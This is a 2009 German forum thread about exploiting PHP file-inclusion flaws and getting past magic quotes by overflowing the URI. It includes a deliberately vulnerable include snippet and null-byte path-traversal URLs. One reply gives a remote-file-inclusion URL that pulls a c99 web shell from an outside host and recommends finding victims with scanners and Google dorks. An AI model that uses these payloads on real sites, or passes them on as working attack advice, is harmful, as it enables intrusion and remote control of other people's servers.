URI überlauf für RFI / LFI

Dieses Thema im Forum "Sicherheit & Datenschutz" wurde erstellt von Kerestrum, 24. September 2009 .

  1. 24. September 2009
    Hallo,

    ich hatte vor einer weile mal etwas davon gelesen, dass es möglich ist mit einem zu großen unified ressource identifier den Wert bei einer Eingabe am Ende abzuschneiden. Hier mal ein Beispielcode:
    Code:
     
    <?php
    $string = $_GET[vuln];
    $string = $string.".inc.php";
    print($string);?>
    <br>
    <br>
    <?php
    include($string);
    ?>
    
    Ich dachte wenn ich jetzt einen sehr langen String eingebe, dann wird der Rest des String abgeschnitten also .inc.php. Somit könnte ich doch eigentlich eine beliebige Datei aufrufen. Das ganze wurde glaube ich mit
    Code:
    ./
    realisiert. also könnte ein möglicher Aufruf so aussehen:
    Code:
    http://localhost/main.php?vuln=./././ ... ./././test.html 
    Ich habe das aber leider nicht hinbekommen. Bin mir aber sehr sicher, dass ich sowas ähnliches schon mal irgendwo gelesen habe. Das eigentiche Problem ist ja, dass man keine %00 einfügen kann wenn Magic Quotes aktiv sind.
    Kann mir jemand eventuell genau erklären wo ich dazu was finde oder wie das nochmal genau war.
    Danke schon mal im vorraus.
     
  2. 24. September 2009
    AW: URI überlauf für RFI / LFI

    Wenn überhaupt wäre es bei Windows...

    Code:
    http://localhost/main.php?vuln=..\..\..\..\..\..\test.html%00
    
    Bei Linux drehste den Slash einfach um

    Bei LFI (Local File Inclusion) kannst du aber nur Dateien aufrufen, die auf dem Server/PC liegen. Bei RFI (Remote File Inclusion) hast du die möglichkeit eine Shell aufzurufen mit dem Parameter

    Code:
    http://localhost/main.php?vuln=http://www.blablubb.de/c99.txt?
    z.B.

    Wie man solche Vuln´s findet?
    - Es gibt diverse Scanner dafür, z.B. in perl. Aber du kannst es auch mit Dorks versuchen, die du über google finden könntest...

    Jo, so pi mal daumen ist es das xD

    so long
    pampers
     
  3. 24. September 2009
    AW: URI überlauf für RFI / LFI

    Hi,

    danke schon mal für die Antwort. Nur ist es nicht so, dass bei magic quotes der Trick mit dem nullbyte (%00) nicht funktioniert? Zudem füge ich ./ ein damit ich einen überlauf erhalte und nicht um das Verzeichnis zu wecheln wie mit ../.Mit ./ bleibe ich nämlich im gleichen verzeichnis, bin mir zwar gerade nicht sicher ob es unter windows nicht sogar so .\ sein muss, aber ich benutz eh linux.
    Ich hab aber auch gerade festgestellt dass die include-Anweisung nach ein paar hundert ./ einen Fehler anzeigt. Könnte also daher kommen, dass die include-Anweisung den String irgendwie verändert.

    Hoffe auf weitere Ideen.
     
  4. 24. September 2009
    AW: URI überlauf für RFI / LFI

    Also wie das mit den Magic Quotes ist weiß ich nicht...

    Aber wenn du im Verzeichnis "htdocs" bist mit deiner "main.php" und du möchtest im selben Verzeichnis die "test.html" "anzeigen", dann langt es doch, wenn du "*/main.php?vuln=test.html%00" eingibst...

    Das macht ".\" überflüssig, da die main.php ja schon in htdocs liegt und du das Verzeichnis nicht wechseln musst...

    so long
    pampers
     
  5. 24. September 2009
    AW: URI überlauf für RFI / LFI

    Also das mit den magic quotes hab ich gerade mal probiert. Dann wird "*/main.php?vuln=test.html%00" intern zu dem String test.html\0.inc.php. Daher er macht das nullbyte ungültig und sieht das als Pfad an, was nicht funktioniert.
    Die Idee hinter "./" bzw. ".\" ist nicht etwa nur die Datei im selben Verzeichniz aufzurufen, sondern vielmehr einen neutralen String zu benutzen, der quasi den Aufruf selbst nicht stört aber den Zeichenpuffer füllt, so dass er überlauft. Zumindest hatte ich sowas in erinnerung gelesen zu haben.

    Es geht mir wirklich um den Überlauft und nicht darum irgendwo zu einer Datei zu navigieren oder zu einem bestimmten Pfad zu kommen. Weil mir sonst keine Möglichkeit bekannt ist magic quotes zu umgehen und das ist eigentlich mein Problem. Ich will irgendwie die magic quotes umgehen und dachte etwas gelesen zu haben, dass man das mit nem Pufferüberlauft kann.

    bye
     
  6. 25. September 2009
    AW: URI überlauf für RFI / LFI

    Du könntest mal versuchen, ein '?' anzuhängen. Vllt. interpretiert PHP das entstehende "?.inc.php" dann als parameter oder so.
     
  7. 25. September 2009
    AW: URI überlauf für RFI / LFI

    Ne hab ich gerade probiert, das funtzt leider nicht.
    Trotzdem danke für die Hilfe, ich habt seit dem komischweise auch nie wieder was davon gelesen. Falls ich noch irgendwo darauf stoßen sollte melde ich mich hier wieder.
    Hab euch beide mal bewertet für die Hilfe.
    bye
     
  8. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.